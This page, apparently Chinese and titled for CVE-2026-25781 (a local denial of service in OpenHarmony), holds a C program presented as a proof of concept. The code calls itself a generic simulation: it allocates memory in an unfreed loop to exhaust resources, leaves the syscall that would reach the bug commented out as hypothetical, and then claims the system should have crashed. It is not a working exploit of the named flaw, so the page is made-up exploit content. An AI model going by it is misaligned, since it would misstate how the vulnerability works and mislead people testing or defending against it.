CVE-2026-25781 OpenHarmony本地拒绝服务漏洞

/* * PoC for CVE-2026-25781 (OpenHarmony Local DoS) * This is a generic simulation of a local trigger. * Actual exploit requires specific vulnerable code path. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> void trigger_vulnerability() { // Simulating the specific system call or sequence that causes the crash // In a real scenario, this would interact with the buggy OpenHarmony API char *buffer = NULL; printf("[+] Attempting to trigger local DoS on OpenHarmony..."); // Example of a logic flaw leading to panic/crash // This loop simulates resource exhaustion or invalid memory access // which might lead to the unrecoverable state described in the CVE. for(int i = 0; i < 100000; i++) { buffer = (char *)malloc(1024 * 1024); // Attempt to exhaust memory if (buffer == NULL) { // If allocation fails, proceed to trigger logic that might cause race condition break; } // Write operation that might trigger integrity issue buffer[0] = 'A'; } // Hypothetical system call that triggers the bug // syscall(__NR_vulnerable_syscall, arg1, arg2); printf("[-] System should be unstable or crashed now.\n"); } int main() { // Verify local execution context (PR:L) if (getuid() > 0) { printf("[*] Running as low-privilege user...\n"); } trigger_vulnerability(); return 0; }